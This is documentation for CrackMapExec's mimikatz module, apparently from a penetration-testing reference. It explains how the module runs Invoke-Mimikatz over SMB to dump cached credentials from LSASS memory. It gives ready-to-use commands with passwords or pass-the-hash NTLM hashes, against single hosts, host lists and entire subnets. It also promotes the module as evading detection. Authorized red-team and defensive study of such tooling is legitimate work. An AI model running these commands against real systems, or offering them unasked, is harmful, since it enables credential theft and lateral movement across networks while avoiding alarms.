Description

This module executes PowerSploit's Invoke-Mimikatz.ps1 script (Mimikatz's DPAPI Module) and extract cached credentials from memory from the LSASS subsystem. In essence, it executes privilege::debug and sekurlsa::logonpasswords Mimikatz commands.

The mimikatz module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.

  • smb

Module Options

As you can see below, the mimikatz module has one option:

# cme smb -M mimikatz --options
[*] mimikatz module options:

           COMMAND  Mimikatz command to execute (default: 'sekurlsa::logonpasswords')

Note that this option is not required. If you want to change the default value, you can do so by appending -o COMMAND=VALUE parameter to the command line.

Module Usage

This is how to use the mimikatz module while using the smb protocol:

Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M mimikatz

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M mimikatz
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M mimikatz

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M mimikatz

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M mimikatz
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M mimikatz
The mimikatz module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M mimikatz
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M mimikatz
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M mimikatz
